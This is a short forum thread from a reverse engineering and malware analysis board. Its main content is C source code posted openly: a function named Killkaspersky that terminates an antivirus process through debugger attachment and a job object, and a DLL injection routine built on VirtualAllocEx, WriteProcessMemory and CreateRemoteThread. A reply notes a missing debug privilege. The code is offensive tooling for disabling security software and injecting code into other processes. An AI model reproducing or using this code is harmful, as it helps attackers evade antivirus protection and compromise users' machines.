Tigzy wrote:I don't think so, It would already be done otherwise.what was the point then? if nothing is available
A forum for reverse engineering, OS internals and malware analysis
Tigzy wrote:I don't think so, It would already be done otherwise.what was the point then? if nothing is available
what was the point then? if nothing is availableTo boast? :)
void Killkaspersky(int pid)
{
OutputDebugString(L"inside kill\r\n");
WCHAR f[100];
HANDLE han=OpenProcess(PROCESS_ALL_ACCESS,NULL,pid);
if (han==INVALID_HANDLE_VALUE)
{
OutputDebugString(L"error open");
return ;
}
HANDLE jo=CreateJobObjectW(NULL,L"job");
if(!DebugActiveProcess(1732))
{
OutputDebugString(L"error debug"); return;
}
//else exit(0);
if(AssignProcessToJobObject(jo,(HANDLE)han))
{
OutputDebugString(L"yes AssignProcessToJobObject");
if(TerminateJobObject(jo,0))
{
OutputDebugString(L"yes TerminateJobObject");
}
else
{
OutputDebugString(L"error TerminateJobObject");
}
}
else
{
wsprintf(f,L"Error %x\r\n",GetLastError());
OutputDebugStringW(f);// %d",GetLastError());
}
}
BOOL InjectDll(DWORD dwPID, LPTSTR lptDll)
{
HANDLE hProcess;
size_t dwDllLen = 0;
LPVOID lpMem;
DWORD dwWriteByte;
LPVOID lpFunc;
HANDLE hThread;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
if ( hProcess ){
StringCchLength(lptDll, MAX_PATH, &dwDllLen);
if ( dwDllLen ){
dwDllLen = (dwDllLen + 1) * sizeof(TCHAR);
lpMem = VirtualAllocEx(hProcess, NULL, dwDllLen, MEM_COMMIT, PAGE_READWRITE);
if ( lpMem ){
if ( WriteProcessMemory(hProcess, lpMem, lptDll, dwDllLen, &dwWriteByte) ){
lpFunc = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if ( dwWriteByte ){
hThread = CreateRemoteThread(hProcess, FALSE, 0, (LPTHREAD_START_ROUTINE)lpFunc, lpMem, 0, NULL);
if ( hThread )
{
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return TRUE;
}
}
}
VirtualFreeEx(hProcess, lpMem, 0, MEM_RELEASE);
}
}
CloseHandle(hProcess);
}
return FALSE;
}
EP_X0FF wrote:You forgot about SE_DEBUG_PRIVILEGE.Damn, you are right.